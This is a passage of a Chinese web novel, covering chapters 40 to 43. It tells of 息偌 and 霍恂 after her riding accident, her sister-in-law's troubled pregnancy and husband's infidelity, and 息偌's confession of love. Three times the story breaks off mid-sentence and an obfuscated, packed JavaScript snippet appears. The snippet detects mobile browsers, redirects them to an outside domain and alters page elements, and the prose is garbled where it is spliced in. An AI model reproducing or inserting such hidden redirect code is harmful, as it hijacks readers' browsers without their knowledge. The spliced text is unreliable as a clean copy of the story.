霍恂道:“气味有点奇怪,我以为是你又有什么奇思妙想,再帮我解决完吃药的麻烦以后,又要考虑着替我安眠。” 他故意打趣道:“毕竟让我睡在那里也是有点委屈了。” 息偌坦诚以后,心里终于松下来了。她于是好奇心又占据上风,问道:“那你刚才在那边躺了那么久,有什么感觉没有?” 他那边没有反应,息偌被吊着胃口,往他那边凑了凑,伸出一根手指戳了戳他的肩,问道:“你睡着……” 下一刻,他突然翻过身,伸手握住她的肩,将她压在下面。 他的呼吸从她脸颊耳侧拂过,他感受到她突然的僵硬,忽然笑了一下,问道:“你以为我会这样?” 他连吓唬她都是有分寸的,根本就没有挨到她的身体,但是息偌还是吓了一跳,伸手将他打了好几下,嗔怒道:“你吓死我了!” 霍恂笑着拍拍她的肩,给她把被子盖好,重新平躺回去,道:“这么小的胆子,还敢和小茹玩儿这些。” 息偌觉得她还是将事情想得太简单了,仅仅刚才那一下,就让她确信,她可能确实是没有准备好。 她又打了霍恂一下,转过身去向着里面睡觉了。 但是霍恂却没再闭眼。 他面上一点表情都没有,但却已经感觉到体内不太寻常的感觉。小茹实在太了解他的身体状况和用药情况了,所以稍微使点手段,他现在立刻就开始不对劲了。 其实最明智的做法,他应该立刻离开这个地方,以避免息偌身上的熏香味道持续刺激到他,将他体内的药性再继续勾发出来。 但是他没有动。 因为他感觉到息偌在害怕。 她前面那些不肯入眠的絮语,和转过身后一直不稳的呼吸声,都在昭示着她因为今日坠马的恐惧而难以入眠。 她明明已经背对他了,可是她的腿却蜷缩起来,隔着两层被子,用脚尖轻轻触碰到他,感觉到他还在旁边一直陪着,所以才能继续这样闭着眼睛躺下去。 不知过了多久,她终于还是艰难地入睡了,只是表情并不如何平静,状态也算不上安稳。 她重新又转过了身,蜷缩着,向他的方向蹭了蹭。在感受到有什么抵住她额头以后,她又伸出了手,抓住了他的衣裳。 这下他彻底跑不掉了。 床帐合着,她的熏香味道在帐子里安静地环绕又下落,最后将他禁在其中。 他无奈地转过身去,将手臂展开,她万分自如地径自撞入他的怀里。可在他收紧手臂的那个瞬间,却忽然感觉到,自己终于又重新拥有了什么珍贵万分的东西。 他重新闭上了眼睛。 息偌感觉到自己这一晚睡得并不安稳,她总是在做梦,梦见自己在马背上被甩来甩去,后来她落下来了,但下面却并没有人接住她,于是马蹄踩在了她的身上。 她知道自己在梦里,因为马蹄踩下来的时候并不痛,但她也没办法逃离这个梦境,就只能一遍又一遍地看着自己被踩中。 后来她终于醒了。 她疲惫而困倦地睁开眼睛,看到外面尚未完全亮起来的天色,感觉到自己藏身在一片温暖里,梦境中的可怖终于被缓缓驱散。 她又闭上眼睛,往温暖里拱了拱身子。 只是这回还没过多久,她大脑中忽然清醒。她睁开眼睛看着近在咫尺的一片浅色青白,又不可置信地抬起头去,看到了霍恂正闭目的脸。 她!睡!在!了!他!怀!里! 老天作证,她虽然有这个贼心,但真没这个贼胆这么干啊! 她都不记得她是怎么过来的,她就只记得自己被马蹄踩了一晚上。 息偌这下子再也睡不着了。她尽量不想碰到他,开始非常缓慢地抽身而出,又是紧张又是费力,最后出了一身大汗,才从他手臂里退出去。 她重归自由地躺在自己枕头上,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819844|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼出一口气,一转头便看到他睁着眼睛,笑意盈盈地看着她,目光清明,哪有一点困倦的样子。 她就是个傻子,也知道他刚才就醒了,是在故意作弄笑话她! 息偌噌地坐了起来,不大痛快地打他一下,道:“你故意的!” 霍恂坐起来,懒洋洋地穿鞋下床,同她道:“夫人这样怪有意思的,一时看入神了。” 他回过头来看她,问道:“昨晚睡得还好吗?要不要让茯苓她们给你拿点安神香来,再养养神?” 息偌不知道自己是怎么钻到他怀里的,但是他如果这样问的话……她记得自己入睡前是挺艰难的,入睡后做的梦也多,但很神奇的是,此刻并不觉得特别困怠。 她实话道:“现在还好,先不用了。” 霍恂点点头,下床去穿衣,他也并没有避着她,很自然地一边动作一边道:“你受伤的事儿,我让今早上再传信给你父母,免得二老晚上着急。说不准等会儿就有信儿来。你若是不困,早饭用完可以等一等。” 息偌问道:“那你呢?不是说了还有公务?” 霍恂道:“给陛下的信儿一并递回去了,我估摸着他大约不会让我去,我也等一等再说。” 他同她说完,衣服也穿好了,留下一句“帮她叫侍女”,便转身走了出去。 小盼进来时,看到小榻上整整齐齐,反倒是床榻上放着两床被褥,有些惊讶地看着息偌,先指了指她,又指了指被子,最后指了指外头。 息偌立刻反应过来,连忙摆手道:“没有!无事发生!” 小盼也没多说什么,小心翼翼扶着息偌下床洗漱,在旁边不经意地低声道:“我看侯爷脸色不大好,还以为娘子真闹他了。昨天小茹大夫说那些我就觉得不靠谱,两个人都带着伤呢,怎么能做这些……” 息偌却只听见第一句了,想了想,问她道:“你也觉得他脸色不好?” 她一醒来就发觉了,他今早起来时有些不经意的皱眉,虽然对她笑起来的时候看不出来,但总觉得比平时虚弱很多,却并不像是因为缺觉的疲惫。 小盼点点头,道:“他方才出去的时候整个人都沉沉的,不像平时在家的时候有活力。是不是昨天小茹大夫放的那东西真不大好啊。” 息偌想到昨天几个女孩子在里头说的那些话,一阵心虚,道:“小茹不是说她有分寸吗……算了,我寻个空子,再去看一看他,实在不行,让关大夫来看一看罢。” 她想定了主意,用早饭时,打量了霍恂许多回。他自然是发现了,笑着打趣息偌,又闹得她羞赧万分,说着就把这话给岔过去了。 等到饭后,霍恂说去暖阁里看看书再等圣命,让她自便,言罢便自行去了。 息偌看着他消失的背影,这才想起自己原本想要提出叫关大夫来替他看看的正事。她有些忧愁地想,完蛋,他昨天晚上虽然没说什么,但是绝对记仇了! 他今早都不怎么和她说话了! 息偌起身让侍女们收拾桌面,让小盼扶着自己慢走一会儿,心里开始思索,要怎么哄一哄他才好。 只是她脑子里还没想出什么,外面就有侍女进来同她道:“娘子,门口的侍卫进来递话,说有位彭娘子,并一位冯娘子来了,要来探望您呢。” 彭娘子自然不必说,那必然就是彭琰了。虽然昨晚就已经给她去报过了平安,但她担心她,也早就说了早上要来看望。 只是另一位听得息偌奇怪,有些狐疑道:“哪位冯娘子?” 侍女道:“这就不知道了,瞧着很年轻,大约也是这回来的某位官眷。” 息偌心里大概清楚了,却无法确定。她看了看连通暖阁那边开着的房门,对侍女道:“先请进来罢。” 她的猜测很快就成真了。 冯十娘子,冯晚的亲妹妹,来了。 41. 来信 息偌站在门外迎接来客,彭琰与这位冯十娘子一起走了进来。她略当先半步,对着息偌眨了眨眼睛,表情倒是自如,让息偌微微放下心来。 三女入内落座,冯十娘方道:“昨日妹妹坠马时,我与我九兄正在不远处瞧见了,碍于当时乱成一团,天色又晚了,便没有上前问候,只今早才过来探望,妹妹勿怪我来得冒然。” 息偌听见这话,心下微微一顿,余光往暖阁那边瞥了一眼。 先前同霍恂说过,让他替她解决,也不知是解决到了什么地步,怎么她在外头一摔,还把这位冯十娘子摔进家里来了。 但冯十娘点到即止,说了缘故,便没有再提多的,只是将从家里带来的药酒给了息偌。息偌见那并非什么名贵东西,便道谢收了。 她们坐在一处,先是问了问息偌的伤情,知道她无碍,便又说起其他闲话。 但这闲话也没有说得太久,这位冯十娘略年长些,看出两个好友在她面前的拘谨,便寻了个由头告辞。 只是起身离去时,她微一犹豫,还是回头重新看向了息偌。 息偌被她那个沉静的眼神看得心头一颤。 冯十娘道:“昨日妹妹坠马时,我九兄是想要过去的。但我拉住了他,同他说,你眼下已是有夫之妇,他贸然出手相救,再加之过往旧事,对你对他都并非好事。但他却觉得,你有危难,便是陌生人,也应当出手相救才对。” 息偌想,是这样的,冯晚由来是心善之人,又照顾她许久,即便分开了,看到她有危险,也绝对不会不管的。 冯十娘继续道:“只是那时情急,不过一句话的工夫,他就迟了一步。他是看着侯爷将你带走,才从那处离开的,只是回去后恳求我,让我今早来探望你一回,另有一句话托我转达与你——‘从前种种,请恕打扰,往后不会了’。” 其实说了分别以后,息偌几乎就没有再见过冯晚,即便有那么两回相见,也实在是匆匆,她甚至都没有正眼仔细看一看他。 她一心想着回避,等他冷静下来,知道旧事已逝,那时候才能心平气和地面对彼此。 现在似乎就是那一刻的到来了。 息偌抒出一口气,颔首道:“多谢姐姐转达,我知道了。” 冯十娘立在对面安静打量着她,想她会不会给一句后文,但话也就只到此处为止。 也是,故事到此早都结束了,还要那么多的回应做什么。木已成舟的事儿,多说就没意思了。 从前是她那愚钝的兄长没亲眼见过,便总是心存幻想、心存不甘,想她不是甘愿的,想她仍是念他的,想着或许他只要诚心诚意地认了错,一切就都能不一样。 外头都说清都侯宠着息四娘,说不准是为了两家联姻故意演的戏,可是昨天都亲眼见着了,还有什么能说的? 要是为了演戏,何必为着她跑到这里来,从马蹄子底下冒着那样大的危险将人救起来? 有些事就差见一眼,见到了,自然就能死心了。 但她还是多言了。 她道:“你定婚以后,我九兄一时无法接受,做了些打扰你的事,我虽不在娘家,却也大概听过。今日既说到这里了,还是同你赔个不是。你从小也是常来冯家玩儿的,我心里也是将你当作妹妹的,切勿因此与我有了嫌隙,以后反倒不往来了。” 息偌点头笑道:“他既然已经赔过不是,姐姐还说这些做什么?往后我们之间,自然还与从前一样来往的。” 冯十娘知道这是客气的话。 息家和清都侯绑到一条船上去了,可她冯家的女子还在宫里和李贵妃艰难地打着对台。接下来朝堂争锋,想要一样,那是万万不能的了。 她笑了一笑,没有再多言,告了别便离去。 息偌这才回去和彭琰说了几句亲密话,只是心里始终念着霍恂那边,不知他听没听见方才那些,想要进去看看他,最好再能说上两句。 前头那点子别扭还没说清楚,今日又突然来了冯家这么一出,她可不希望和他又闹出什么矛盾来。 她心不在焉,连彭琰都看了出来。她无奈地摇一摇头,站起身道:“看来我今天来的不是时候,你心思都快要飞走了,我还是改日再来罢。” 息偌有些脸红,想要留她,但彭琰却脚步一转走出去了。息偌无法,只得将她送出门去,这才折身回返。 还没进门,有小侍女小跑着过来,说是息家来信了。 息偌心里微微觉得有些奇怪。 这次马球赛,息家并没有人来,她原记得母亲说过要过几日再带着几个妹妹过来,所以说明她们应该是有过来的计划的。 她并不是希望因为自己受伤,便累得她们匆匆赶过来探望,只是有些奇怪,知道了自己坠马,怎么母亲就只送了封信来? 她将信收了,回到房间就展开。 只是她看了没两眼,立刻就捕捉到了信里的关键,然后便对小盼丢下一句“立刻去收拾东西回家”,紧接着便快步往暖阁那边去,小盼在旁边都险些没捉住她。 霍恂还真就在里头看书,看见息偌急匆匆进来了,抬头看向她。 只是他还没开口,息偌便急匆匆到了他面前,道:“我得立刻回家去一趟,你是留在这里,还是与我一道回去?” 霍恂伸手扶稳息偌,起身唤她坐在自己的位置上,方问道:“怎么了?你慢慢说。” 息偌道:“我阿娘来不了了。她说我嫂嫂有孕了,昨日接去家里时遭了下人冲撞,现在胎不大稳,她要多陪一陪嫂嫂。我想回去看看。” 霍恂的眉立刻拧了起来。 他看向外头的小盼,吩咐了一句,让她叫雁行去收拾自己的东西,而后才问息偌道:“确定吗?我听闻那位李娘子是住在城郊,怎么又去了家里?” 他可是知道这事的。李常希是为了和离,不惜将和离书送去官署逼息停签名,撕破脸面也必要得成,如今分住在外头,也是没给过息家一次好脸,就连息偌去的那几回,也是被慢待的。 眼下,李常希怀孕了,还接去了家里,岂非天方夜谭? 他又想起前些时候今上说的那些语焉不详的话来。 息偌不知他心中在想什么,便将信交给了他,道:“阿娘信里也没详说,但我估摸着嫂嫂的情况不好。横竖我现在也玩儿不了什么了,还不如回家去看看。” 霍恂接过信,从头到尾扫了一遍,前头就是关心女儿的话,知道她无大碍便放心了,但仍有许多叮嘱养伤的话,后头才说明不能过来探望的原委。 的确是没有详叙。怎么接回去的,又是怎么冲撞的,在息家,谁敢在息夫人面前伤李常希? 岂不奇怪吗? 他将信还给了息偌,安抚她道:“不用急。既然家里的事儿也是昨日的,那咱们回去也不差这一时半刻。你慢慢来,咱们回去看看就是。” 先前息偌来这边,已经将常用的东西布置了许多,所以再出行时,需要随身带的东西就并不算多。侍女们很快将东西收拾好,马车便出了别院往城中走。 息偌这次在车上也睡不着了,时不时开窗看一眼。其实她哪里能看出还有多远,不过是着急罢了。 霍恂在旁边同她道:“我既回了城中,不好不去见陛下。我先送你到息家,而后往宫中去一趟,若是赶得及,便去息家,若是不及,那再另说。” 息偌想了想道:“即便陛下见你受伤,不让你出去办事了,那京城里这些事你也少不了,就别在我家折腾了。有事就办,没事便回府中休息。” 她微微一顿,道:“我今晚在息家住一晚,行吗?” 霍恂点头道:“行,几晚都成。你在父母身边,不用管家里的琐事,养伤也更便利。” 息偌心里记挂着家人,没心思说说笑笑,霍恂心里有自己的盘算,也没故意闹她。 两个人安安稳稳回到城中,霍恂在息家门口将她送下车,叮嘱道:“若有事,立刻吩咐人来找我。” 息偌点点头,还不忘同他道:“你别惦记我这边,去处理你的事儿。” 他们迅速道别完,霍恂看 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她赶紧扶着息偌坐下,轻轻摸了摸她腿,心疼道:“只是信里说你没有大碍,我想哪儿能那么平安,想着等你嫂嫂好些再去看你。你摔到哪儿了?让我看看。” 息偌赶紧起来转了一圈,道:“我要是伤得重,眼下就不回来了。当时摔下去的时候侯爷垫着我呢,除了腿上有点擦伤,其他地方都好好的。要是细论起来,他的伤只怕比我还多些。” 息夫人看她好好的,放下心来,道:“我还让人给你送了许多药去,不想你就回来了。侯爷呢?他救你一回,该好好体贴关心他才是。” 息偌看她滔滔不绝的,便道:“快别关心他了,今日我是回来看嫂嫂的,光说我俩做什么?” 她转向李常希问道:“嫂嫂身体如何了?” 李常希笑着看她们说话,眼下答道:“我没什么不好的,谢曼曼关心。倒是我也好奇你和侯爷的事儿呢,你快坐下好好说说罢。” 息偌来一趟,白白被揶揄个不停。只是李常希这里只说都好,连息夫人也没有多提,息偌就明白不该多问,由着她们将话题引到自己身上。 房间里都是女眷,她将袖口裤脚挽起来,给息夫人看了看,虽说有些青紫破口,看着狰狞,但好在也都不是大伤。 息夫人看得心疼,但想到霍恂将息偌护住了,还是感慨万分,说着要好好让家里的大夫过去看看,又说要再拿伤药。 息偌笑道:“他可不需要呢,他身边有一位关大夫,一直照看他身体,虽不如何出名,却是在药王谷学成的,医术很是精湛,岂能连些好药都取不出来?” 李常希在旁边听着,眉心微动,顺着这话问道:“是从北朝过来的?还是南边这一支?” 药王谷在北方大昭的地界上,但是南北原氏分而治之时,曾有一支到了南边,代代传下来,也说自己是药王谷的弟子。 息偌摇头道:“这就不清楚了,我也没细问过。不过我看平时那位大夫给侯爷看病,的确很精细。他能用这么久,自然也是好的。” 李常希没说话,息夫人笑道:“不论南北,我听说此家弟子医术不成不许出师,能单独行医,自然都是好的。” 息偌点头道:“正是呢。只是我今天贸然回来,不知情况,也不便请他过来。若是嫂嫂有需要,我请他来看看也不妨。” 息夫人倒是想,面上都写着愿意,倒是李常希淡淡的,只道:“眼下还好,再说罢。” 息偌虽心下奇怪,却也没有多问,待又说了一会儿话,李常希面上露出些倦怠,息夫人便说要她好好休息,自己带着息偌先去了。 息偌耐住性子,待回了息夫人的房间,才拉着息夫人问起来。 “阿娘信里说得模糊,我只见嫂嫂好容易回来,又差点出事。这到底怎么回事?” 息夫人闻言脸色也落下来,道:“无非是家里出了些没规矩的,说出去也难听,我便没声张,只在内院料理了,让人打发出去算完。与你说了也无妨,只别在你嫂嫂面前多说,也别与她提你那混账哥哥,到底她此番回来并不情愿,算我勉强了她。” 42. 明心 这事说来,全是巧合。 息夫人身边的一位仆妇昨日出门采买,在街上遇到李常希身边的侍女明贞,见到她大清早入城来寻大夫,想着会不会是李常希身体不适,便想跟上去瞧瞧。 谁料明贞却没有请大夫走,而是抄了张药方出来,又去药铺买药去了。 这仆妇觉得不对,去医馆问了问,方知那大夫擅长妇科,又追去一问,才知明贞抓得是一副堕胎的方子。 这下仆妇大骇,连忙回息家去告诉息夫人。息夫人也顾不得别的什么了,立刻套车去京郊别园,见着李常希的时候正见着她端着药碗要入口,连忙拦了下来。 息夫人到底是将她当亲女儿看的,也不忍心她在外头受苦,见她竟打算这样将孩子打了,心疼得使劲掉泪,劝她千万莫要冲动。 她也不疑这孩子的出身,一来,李常希有自己的自尊,某些事不会去做,二来,息停这些时候往别园去得频繁,她也是清楚的。 她并非想要偏向自己的儿子,但若是能借这孩子劝李常希回去,将来让她有个好的栖身之处,总比在郊外贸然打了孩子伤了身体的好。 “便是要打,也要回去了再说。小月子岂能糊涂过了?都是要伤身受罪的。” 息夫人连这话都说出来了,李常希再推都不好说。息夫人好说歹说半请半迫地将人带了回来,安排大夫来看过,知她眼下身子太弱太虚,又是流了许久的泪,让她好好先养身再说。 只是李常希回来了,又带着孩子,总是不可能不让息停知道的。 正巧息停这日休沐,因前一晚出去应酬,喝的酒多了些,于是息夫人便免了他今晨的问安。 息夫人原想叫他来见李常希,后来转念一想,又带着李常希一路往息停处去,想这事还没人知道,让息停得个意外之喜,也好叫他生出些为人父的责任,将来好好对待李常希。 李常希没有拒绝,顺从地跟着息夫人去了。 这本是件好事,看得息夫人心中都一喜,李常希如此已是给了暗示,代表着她还有心回头,那么将来息停但凡能悔改,兴许还能做成一对佳偶。 可是坏就坏在这一去。 息夫人去时,当真是以为,息停便是醒晚了些,此刻大约也已经坐在书房里处置公务了。 可偏偏院子里静悄悄的,书房里也没有人,内里侍奉的说大郎君今日还没起来,听着就觉得不对劲。 息夫人见这侍女答话的时候分明慌张,当即面色一沉,让身边的仆妇扶着李常希,自己不由分说推了房间门进去。 这一瞧,正看到息停里衣凌乱地坐在床榻上,旁边地上还伏了个衣衫不整的侍女,此刻正攀着床沿同他说话。 息家门风整肃,息停为长,自幼所受教导都比寻常子弟严苛许多,岂容他妻子尚在,竟与侍女混在一处。 息夫人怒不可遏,想着李常希仍在外头,强自压着声音,叫人进来将这侍女打发料理了,再要好好教训息停。 但她晚了一步。 李常希岂能猜不出里头有什么破事?迈着步就走了进来。她就站在屏风旁边,眉眼平淡地看着息停,隔着中间的一片闹剧与他对视,仿佛那些女子哭喊和仆妇低斥都不存在似的。 可那侍女也是胆大,看着李常希来了,也为求生,竟生生挣脱了仆妇们的桎梏,径自扑到了李常希面前,哭喊着求她给自己一条活路,求她让大郎君收了自己。 李常希一时不备,被她一推,后腰直接撞到了后头的花盆架上,没站稳直接摔到了地上。可饶是如此,那侍女不依不饶,却还要扑她。 息夫人一看吓了一跳,立刻让仆妇们去将这侍女拉开。这么一拉,她心里也凉了半分—— 李常希坐在那处皱着眉毛,出了满头冷汗,而她手捂着后腰,分明已经是站不起身了。而她浅青色的裙摆上,很快就晕出了大片的深红。 那侍女终于被押了出去,息夫人叫人去喊大夫,又回头斥息停道:“你还有脸在那里坐着!你妻子有身孕了,还不来扶她吗!” 从这场闹剧开始,息停就一直冷淡淡地支腿坐在床榻上看着李常希,直到此刻被息夫人斥了,才有要起身的动作。 而李常希坐在那里,疼得脸色都白了,却一眼也不再看他,只对息夫人道:“我不在这里!别叫他来!” 她坚决不肯在这里多留,甚至想离开息家,息夫人自然不可能同意,寻了个远些又僻静的院子安排她先住下,又请大夫来看,直折腾了一个多时辰,才将将把孩子留了下来。 但李常希心愿已决,是绝不肯再要这个孩子的了。 息夫人自己也被闹得烦心,听到息偌坠马的时候,哪里能不焦急?只是看霍恂和息忍的信中都说息偌并无大碍,才忍了下来,自己决定要先将李常希这几日守住了,过些时候再去看息偌。 息偌此日回来,到现在才听到了这事的来龙去脉,气得忿忿无语。 “我是见过他去京郊见嫂嫂的,还以为他是真心想要嫂嫂回去的,他竟也能在此时做出这等丑事吗!” 他尚年轻,妻子未有所出,按照规训,连纳妾都不行,更遑论是通房、甚至是侍女。息偌听得气愤,只是骂出了这句,又突然想起从前自己闯进花楼的那回,息停也在那里。 于是她的脸色也冷了下来。 “我看嫂嫂说得对,还要这孩子做什么,让长兄趁早与她和离了干脆!” “你这丫头胡说什么!” 息夫人拽着她让她坐下了,压着声音道:“不是我非要留这个孩子不可。实在是她身体太弱了,你以为女子小产是容易的,养一养就回来了?” 息偌皱眉道:“长兄既无真心,多个孩子,岂不多个麻烦吗?” 息夫人叹道:“眼下月份还小,再等一等不妨。我同她说过了,即便要打,也得等身体好些了打,这话现在也是作数的。” 息偌听得又是气愤又是心疼,也有些无奈,问道:“阿爹怎么说?” 息夫人道:“他去教训过你哥哥了,我也懒得问,横竖等三娘的身体好些,把孩子打了,签了和离书一拍两散,从此谁也别碍着谁。” 母女俩说到此处,一时间静默无言。息夫人看着自己的女儿许久,忽而问道:“侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848736|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷打算与你要孩子吗?” 息偌一时没反应过来,问道:“什么?” 息夫人叹道:“你兄嫂的事,你也是亲眼见过始末了。成婚的时候,是他主动跪到父母面前来发誓求的,分居以后,也是他自己不辞辛苦出城去寻的,可是这也不妨碍他对妻子不诚不忠。早知是这般孽障,当初就该拦着他,何苦非要叫他去招惹三娘?” 她有些心疼地摸了摸息偌的头发,道:“我瞧着侯爷待你不错,可到底时间不长。你长兄做事眼见着是越来越没分寸,将来难免与他争执起来,只怕要为难到你。你也瞧见了,若有个孩子,将来分割更难。你们眼下新婚燕尔,侯爷应当未同你说过要孩子的事罢?” 息偌没说他们从一开始就已经计较起将来的矛盾了。 她低着头道:“没有。眼下正是相好的时候,他又渐渐忙起来,哪里会想这些?” 息夫人道:“那就好,那就好。你就推说你年纪小,晚些要也不妨事。若是不便,我让妈妈给你准备些东西,你带回去也是一样的。” 息偌有些脸红,这到底是房中的事,和母亲说起来总是有些奇怪。她推了推息夫人,不想让她说了。 息夫人道:“不想听了?害羞什么?这是为你做打算,你自己也该想清楚些。” 她点到即止,问息偌道:“今日回来了,就在家住罢,好不好?” 息偌点头。 她的闺房仍旧留着,布置都与以前一样,被打扫得干干净净,随时欢迎她的回来。息偌前几日回来都是很自如开心的,今天却并不快乐。 她为李常希而难过,也为自己忧愁起来。 她想起霍恂一开始说过的那些话,他拒绝了自己,是因为那些亲密事,最好还是要与真心相爱的人一起去做,可她当初没怎么听进去,成婚以后,她一直都很是冒进。 她只道自己勇敢,但其实就是鲁莽,她根本就没有想过后果。 若是男子本就一样,冯晚会有二心,息停会有二心,霍恂将来也会有二心。她眼下还好抽身,若她继续下去,成了李常希那样,她又该如何抽身呢? 息偌想她自己已经思考得很明白了,在遇到霍恂以后的许多个节点里,她的理智都会占领高地,告诉她,千万不要将自己的心放在霍恂那里,由着他搓圆揉扁。 可是她也悲哀地发现,一次又一次的提醒之下,她的心也在越来越不满与难过。 那已经不再是她未能得到同等回馈的不甘了。 她非常清楚,有些喜欢是无可避免的。她喜欢过一个人,知道自己喜欢一个人是什么样子,并且现在清晰地知道,她现在的喜欢,比过去那种喜欢,还要更甚一层。 她不能被这种喜欢和不确定裹挟掌控,像个愚蠢的、患得患失的傻子一样,在这里空悲切枉慨叹,却什么也不去做。 主意打定,她立刻站了起来,走出门去喊小盼。 “我们这就走,你去给阿娘说一声。” 小盼愣住了,问道:“去哪儿?” 息偌的眼神坚定地看向前路。 “回侯府。” 43. 表白 外面的天已经黑了,息偌大晚上的从息家回到侯府,虽然不太远,但却也有些折腾。 息偌清楚地知道自己的所为是有些任性和疯狂了,但她的脑子里却非常冷静。 她就是这样的性子,既然已经想到了,就要立刻说个明白。 侯府的大门早已关上,息偌立在门口多问了一句,知道霍恂已经回来,方迈步往他书房而去。 他书房的灯还亮着。 霍恂从来没有阻止过她来,只是她自己平时也不去,这个房间对她来说多少有些陌生,就仿佛只是踏上门口的台阶,就是已经闯入了他的领地。 她跨过了这个界线,叩了叩他的房门,开口问道:“你在里面吗?” 里头有些轻响,随即房门被从内拉开。霍恂穿了件家常的便袍站在她面前,有些惊讶地看着她问道:“怎么这时候回来了?出什么事了?” 他一边问,一边拉着她向内走,将她安置在旁边一把圈椅上。 息偌看着他道:“家里没有大事,我阿娘都安置好了,是我有话想跟你说,这才回来的。” 霍恂瞧她脸色还算平静,表情也并不慌张,应当不是有什么大事,便放下心来,坐在她对面道:“你说,我听着。” 息偌想了想,很认真地同他道:“我自小都觉得,我有个好哥哥。” 霍恂不解其意,耐心倾听。 息偌道:“长辈们对他期望太多,所以在我记忆里,他一直不爱谈笑,也不像其他兄弟会与妹妹们玩笑。我堂兄陪我玩闹的次数,兴许都比他多些。但我仍旧觉得他是个好哥哥,虽然他不大会说,但我在外头受了委屈,他总是要替我撑腰的,我拿他的名字招摇,别人不敢欺我,是因为知道他真的会计较清算。” 霍恂扯了扯唇角,不置可否。 息偌看明白了,道:“我知道你在想什么。我现在也明白,他是要维护息家的脸面,所以才维护我的脸面。但这并不妨碍在我心里,他由来都是一个好哥哥。” 话虽如此——霍恂仔细端详,但她表情并不快乐。 息偌平淡道:“从前我觉得他处处好,但现在长大了,我越来越发现,他并不是这样。又或者说,其实每个人都是这样,并不十全十美,如果瞧着他是完美的,也许只是看到了他完美的那一面。” 如息停这般,他再坏,也绝没有对不起息家。可他再好,他也对不起自己的妻子亲友。 霍恂有些明白她想要说什么了。 而息偌下一句果真道:“我想,我也并非完人,也没有那个能耐演一辈子。起码对着亲近的人,我应该可以有勇气露出些真面目。我有时骄矜自傲,不依不饶,任性妄为,是我家人容我而已。” 她目光定定地落在他的脸上,让他避无可避。他试图回避她的真意,只反问道:“你在我面前,难道不够自在吗?” 息偌摇头道:“可我不想要你只是容我而已。” 她得寸进尺,向他提出要求,道:“你也可以放肆,可以任性,不会因为我来到你的家中,就只将自己藏在这间小书房里。” 霍恂笑道:“我没有。” 息偌笃定道:“你有。” 霍恂道:“你不是从一开始就知道我的劣性了吗?我待人并不诚心,喜好作弄,看人出丑,即便是你打定主意要与我好好相处,我也时常惹你暴跳如雷。” 其实他与她说话的时候,多少还是有点溺爱容忍的,所以即便是打趣的话说出来,她也最多只是羞赧,并非真的生气。 可她要的不是这样。 她道:“我不希望直到最后,都无法看清夫君的真面目。哪怕他是个彻头彻尾的恶棍,哪怕与他走不到最后,我想要看清他的样子。” 而不是仅仅为着花好月圆时的那一点柔情,劝自己一味等待,等不来他的好,却只能等着看他一次又一次的面目全非、憎恶可怖。 看着温和神仙变成修罗恶鬼,那真是一件残忍之事。 霍恂也正色起来,问道:“你眼下觉得我还算不错,是吗?” 息偌点头。 霍恂问道:“如此不好吗?我会保证直到你离开,甚至到你离开以后,随时再看我,我也依旧是一个不错的人。这样不会让你觉得白白浪费了这么久的时间,也不会让你失望。” 息偌固执道:“可是亲而不知,才更让我失望。” 她说到这里,突然有些颓丧,问道:“霍恂,我一直是一个让你觉得并不值得的陌生人吗?” 即便她自以为已与他交心,与他拥有了彼此相知的共识与秘密,他似乎一直也不与她同心。 霍恂的眉心紧了紧,沉声道:“我绝无此心。” 息偌逼问道:“那你如何看我?” 她目光亮亮的,有执炬迎风之勇,而绝不惧烧手之患。她甚至不肯与他半分退路,起身来到他面前蹲下身子,迎面逼迫他给予自己回答。 “我若坦言,我如今心动于你,想要与你相知相爱,想要与你做长久夫妻,你要如何回答呢?” 霍恂似没想到她居然会说出这样的话,伸手想要扶她起来坐好,可是她偏偏就不肯动,固执地盯着他,大有他不答她就不走的气势。 他眉目里流露出无奈,道:“你真的想明白了吗?我只是待你稍好了些,这世上有许多人都会待你这样好,难道面对每一个人,你都认定自己是心动于他吗?” 息偌有些气恼,道:“你觉得我分不清自己的心意与你胡说?” 霍恂道:“你提到你长兄,大约是你嫂嫂与他有了不睦,你触景生情,入夜了也要闯回来同我说这些,让我如何不觉得你是一时冲动,冒进多想了呢?” 息偌反问道:“难道我就不能是引以为戒,急不可耐地要确定心意,一时一刻也不能浪费吗?” 他们一个不肯说,一个不肯退,竟然一时僵持起来。霍恂想她怎么这时候犯起脾气来,想着先哄她起来,可是息偌又道:“那你敢不敢试一试?” 霍恂微愣,问道:“要试什么?” 息偌心一横,牙一咬,起身直接迎了上去,捧着他的脸亲在了他的唇上。 她的力气有些重,但动作实在生涩,以至于都少了些柔情,真成了试探一般。 她也觉得有些奇怪了,干脆破罐子破摔睁开眼睛,退开来紧紧地盯着他的表情,问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863417|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 